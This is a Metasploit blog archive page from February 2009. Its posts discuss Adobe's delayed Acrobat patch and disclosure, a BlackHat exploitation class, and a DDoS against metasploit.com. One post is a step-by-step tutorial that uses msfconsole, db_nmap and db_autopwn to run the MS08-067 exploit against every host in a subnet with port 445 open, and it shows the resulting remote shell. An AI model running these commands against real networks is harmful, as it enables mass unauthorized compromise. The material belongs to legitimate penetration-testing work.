Skip navigation
All Places > Metasploit > Blog > 2009 > February
2009

Originally Posted by hdm

 

 

Over the last two months, rumors of an unpatched vulnerability in the Adobe Acrobat products have been circulating. Last Thursday (the 19th), the Shadowserver folks confirmed that there is an exploit in the wild and that they had obtained a sample. A few hours later, Adobe confirmed the issue in their official advisory. McAfee, Symantec, and others have all chimed in saying that they have samples dating back as far as January and even December of last year. Symantec published a response almost a week before the Adobe advisory.

 

The exploit was detected in the wild, is being actively exploited, and it wasn't until the Shadowserver folks wrote a summary of the issue that Adobe bothered to issue an advisory. With the February 12th coverage date from Symantec, we can only assume that they contacted Adobe as well and provided any sample they had access to. Adobe's official response is that a patch for Adobe Acrobat 9 will be made available on March 11th, but no timeline has been issued for older versions. Compare this Microsoft's response to MS08-078, MS08-067, or even MS06-001 and you can see a clear difference in how these companies respond to real-world attacks against their user base.

 

Even though Adobe left their users in the dark, the fine folks at Sourcefire wrote an excellent blog post about the vulnerability, how the exploit is triggered, and how to detect it. This level of information is critical for anyone who wants to protect their users and verify their network defenses. Unfortunately, some of the comments on their blog indicate that not everyone understands the reason why this information is necessary.

 

All security providers, whether they make antivirus, assessment, or intrusion detection products depend on detailed vulnerability information to tune their products, create signatures, and in the end, better protect their users. Regardless of how many resources these providers have, they all depend on public information to some extent. The antivirus companies have an advantage in terms of raw data collection, but they are still using web sites like Milw0rm and tools like Metasploit to make sure their products actually work. The hypocrisy is that while some of these providers share information with the public and even contribute to vulnerability research, many of them are using these resources for product testing while simultaneously damning them in their press and customer alerts.

 

The strongest case for information disclosure is when the benefit of releasing the information outweighs the possible risks. In this case, like many others, the bad guys already won. Exploits are already being used in the wild and the fact that the rest of the world is just now taking notice doesn't mean that these are new vulnerabilities. At this point, the best strategy is to raise awareness, distribute the relevant information, and apply pressure on the vendor to release a patch.

 

Adobe has scheduled the patch for March 11th. If you believe that Symantec notified them on February 12th, this is almost a full month from news of a live exploit to a vendor response. If the vendor involved was Microsoft, the press would be tearing them apart right now. What part of "your customers are being exploited" do they not understand?

 

Again, Sourcefire steps up where the vendor fails. Today, the Sourcefire VRT released a Homebrew Patch to mitigate this issue until Adobe produces the complete fix. Hopefully, the Sourcefire patch, along with the plethora of new AV and IDS signatures, can stand-in until Adobe gets in gear and releases the fix.

Originally Posted by hdm

 

 

Earlier this week, Valsmith and I taught a two-day class at BlackHat DC called Tactical Exploitation. This class is loosely structured around gaining access to an organization using atypical techniques. We felt that the course was a huge success and we attribute that to having a small class with exceptional students. The Tactical course is also where we showcase our recent projects and research, along with any new tools that we find especially valuable for this type of work. This week, we built a lab around the recently-released (2.0.2), commercial version of Maltego and demonstrated how to use a local transform to integrate it with the slightly-secret WarVOX project. In addition to our normal profiling, discovery, exploitation, and privilege escalation topics, we also covered WiFi driver exploitation, Karmetasploit, a section on practical IPv6 attacks, tons of post-exploitation techniques and scripts, and a small section on using and encoding metasploit payloads as stand-alone remote access tools. We have no concrete plans to offer this class again this year; BlackHat USA may work out, but we are both short on free time and will have to play it by ear. The BlackHat staff were awesome as usual, its great to see CMP staying out of their operations and letting them do what they do best.

Originally Posted by hdm

 

 

One of the features added in the 3.2 release of the Metasploit Framework was the ability to restrict the db_autopwn command to specific ports and modules matching a given regular expression. This feature can be used to run one or more exploits against a specific range of hosts at the same time.

 

In the example below, we will demonstrate how to launch the MS08-067 exploit against every host with port 445 open in a specific class C.

 

To get started,  run msfconsole on a Linux machine running a recent Subversion snapshot of the Metasploit Framework (3.3-dev; although 3.2 will work as well), the sqlite3 Ruby gem, and a recent version of Nmap. Once the Metasploit prompt appears, use the load command to load the SQLite3 driver.

 


msf > load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3

 

Next we will use the db_create command to initialize a new SQLite3 database and connect it to the Metasploit Framework instance:

 


msf > db_create
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db

 

To speed up our test, we will use db_nmap command with a very narrow set of search requirements. In this case, we want to find every machine with port 445 open on the target subnet. One of the quickest ways to accomplish this is by using the flag combination below:

 


msf > db_nmap -sS -PS445 -p445 -n -T Aggressive AAA.BBB.CCC.0/24

 

Finally, we execute the db_autopwn command, with the -e option to specify exploitation, the -p option to specify port-based matching, the -b option to select the bindshell payload, and the -m option to only run modules with the string "ms08_067" in their name:

 


msf > db_autopwn -e -p -b -m ms08_067

 

Once this command completes, we can use the sessions -l command to list the active shells. Use the sessions -i [SID] command to interact with a given session.

 


msf > sessions -l
Active sessions
===============

Id Description Tunnel                                 
-- ----------- ------                                 
1   Command shell  AAA.BBB.CCC.11 -> AAA.BBB.CCC.86

msf > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

 

Enjoy!

Metasploit DDoS Redux

Posted by rapid7-admin Feb 13, 2009

Originally Posted by hdm

 

 

The good news is that the DDoS against the Metasploit web servers has stopped, the bad is that I won't have time to go into the details of the attack and the mitigation methods until next week. All Metasploit services should be operational again, please let me know if you find something broken. I would like to thank everyone who offered us assistance during the attack, without their help this would have been much more frustrating.

 

The bandwidth graph for the affected period can be seen below. The green represents packets coming out of our server, the blue represents the incoming . The thin line of blue is the DDoS stream (full connection attempts against port 80); we swapped DNS records around to redirect the stream elsewhere during the majority of the attack. From Monday night until Thursday afternoon, there was a 15Mbps flood of SYN requests pointed at our A records for www.metasploit.com and metasploit.com.

 

 



Originally Posted by hdm

 

 

The incoming connection rate has exceeded 15Mbps of just SYN packets, so we decided to point www.metasploit.com and metasploit.com back to 127.0.0.1 for a little while. This is more to keep our ISP happy than any fear of bandwidth charges.  We ran a packet capture of the incoming SYN traffic for about 8 hours; it takes up approximately 60Gb of disk space. In the meantime, if you want to access the Metasploit web site, please use:

 

http://metasploit.org

 

Thanks!

 

-HD

Originally Posted by hdm

 

 

It looks like our little DDoS buddy got sent home from school early today -- the flood started up again, this time ignoring the DNS name for the metasploit.com web site and instead targeting both IP addresses configured on the server. While SSL service is still unaffected (including Online Update over SVN), folks who wish to visit the Metasploit web site will need to do so using an alternate port until we roll out the next countermeasure.

 

http://metasploit.com:8000/

 

We also host the main web server for Attack Research, which can now be accessed at:

 

http://www.attackresearch.com:8000/

 

Thanks for your patience,

 

-HD

Originally Posted by hdm

 

 

On Friday, starting around 9:00pm CST, the main metasploit.com was hit with a highly-annoying, if pretty useless distributed denial of service. The attack consisted of a botnet-sourced connection flood against port 80 for the metasploit.com host name. This flood consisted of about 80,000 connections per second, all from real hosts trying to send a simple HTTP request. At the same time, Packet Storm and Milw0rm were being hit as well. About 95% of the bots would intermittently resolve metasploit.com and follow the target address with the connection flood. The other 5% continued to bang on the main metasploit.com IP address and port even after the host record was changed.

 

Solving this involved parking the metasploit.com host record at 127.0.0.1 and moving the other host names and services to a spare IP address. This allows for www.metasploit.com and most of our other domains and services to work properly. The only drawback is that until the flooding stops, we can't use the metasploit.com A record, which happens to be the default for updating the Metasploit Framework installation. A fun side effect is that they handed us full control of the DDoS stream: we can point the metasploit.com record anywhere we like and the connection flood will follow it.

 

We will continue to find other ways to mitigate the flood; but until we can safely use the metasploit.com name again, our standard online update mechanism is going to fail. If you are trying to check out a fresh copy of Metasploit from subversion, use the https://www.metasploit.com/svn/framework3/ URL for now. As of 9:30am CST, the Immunity web site is being hit as well. If anyone has information on the folks involved,  we would love to hear from you :-)

Filter Blog

By date: By tag: